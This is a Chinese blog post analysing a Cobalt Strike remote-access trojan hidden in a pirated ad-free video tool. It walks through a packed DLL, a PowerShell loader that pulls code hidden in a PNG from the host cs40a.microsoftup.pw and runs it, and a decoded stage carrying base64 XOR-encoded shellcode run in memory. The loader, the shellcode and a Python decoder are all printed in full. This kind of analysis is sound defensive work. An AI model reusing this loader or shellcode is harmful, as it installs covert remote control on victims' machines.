Cobalt Strike远控木马分析

it2025-04-27  25

简介

Cobalt Strike目前已经很流行, 其生成的木马在很多地方也可以找到, 这里通过网上发布的一个aqy的免广告的工具中带的木马进行分析学习…

过程

找到可疑文件

这里通过Exeinfo.exe工具, 发现可疑DLL, 文件被vmp 2.07加了壳, 很明显一般的dll不会加这种壳:

行为分析

通过OD我们进行调试, 发现此dll的主要功能是调用当前目录下的powershell脚本dataup.ps1: 查看此dataup.ps1, 代码如下:

sal a New-Object;Add-Type -A System.Drawing; $g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://cs40a.microsoftup.pw/down/test22a.png")); $o=a Byte[] 5220; (0..2)|%{ foreach($x in(0..1739)) { $p=$g.GetPixel($x,$_);$o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15)) } }; IEX([System.Text.Encoding]::ASCII.GetString($o[0..3546])

通过隐写的方式将代码, 放到远程图片中, 然后现在下载解密在内存中运行, 其中的图片原图就是下面这个: 我们通过修改代码:

sal a New-Object;Add-Type -A System.Drawing; $g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://img-blog.csdnimg.cn/20201021221709565.png")); $o=a Byte[] 5220; (0..2)|%{foreach($x in(0..1739)) { $p=$g.GetPixel($x,$_); $o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15)) } }; [System.Text.Encoding]::ASCII.GetString($o[0..3546])

得到解密出来的代码:

Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Locatio n.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string ')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(( New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelega te')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateT ype', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_p arameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementa tionFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfI vOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVE pNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pa m4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMcW1TbyM/KTC5PlPSyMYeofWfxCVw fxq0qeMGFAGThhaZMWd+s04FT7ssbCApWOQQzCChcK4jXjLCPljuiw6F79G9iFaPNrwyzWwKZfIiI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANuc GpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBYNExgDYlVCTVcDYVFMVFBGUQouKSN9E3rFdD//yimfBvF0/1H0qDz+p23vSvtX/IoZccpbpec3qr YAxlh7ouQyxEuWnwnpNx4pZs7AdjumuryMXWFdP189564fQ1N6qEK2OEWbyM+kYhZIE4Rry/jqxMkB+TUheDJp5Anw+TMVGxxEZ1VGHMnrswvH1tn3pGo6j8kdfP9j3X4 +0YWJ7nj3jtebI1/yGvKdbvs/FzlsrIfIyjxUkDHAnHrj/M/MrkDsEe8XPmpfO9eTz8N/1Kc98/6Kym/wSkQEf+PjxASJmCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG 3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww==') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAllo c), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntP tr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }

这又是一段加密的代码, 主要功能是将上面代码的base64部分解密, 然后与35进行异或得到一段shellcode: 解密脚本:

import base64 bcode = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXEcv96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTsM+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqfNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVsMQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww==" decode = base64.b64decode(bcode) data = [] for i in decode: data.append(i^35) data = bytes(data) # print(data) fd = open("/home/sir/desktop/样本/shell", "bw") code = fd.write(data) fd.close()

然后将这段shellcode复制到OD中进行调试: shellcode的API调用方式, 就是Cobalt Strike木马的一个动态特征, 主要功能就是shellcode会去cs40a.microsoftup.pw请求获取Beacon核心DLL进行内存解密加载; 提取出核心dll后, 可以通过在线工具解密出Cobalt Strike的配置信息:

总结

这种木马的调用过程很长麻烦, 但是基本的代码仍然是通过Cobalt Strike生成的, 所以通过调试就会发现特征性还是比较强的, 虽然调用比较隐蔽, 但是程序从出现的一些URL很容易就会被溯源分析出来的…

最新回复(0)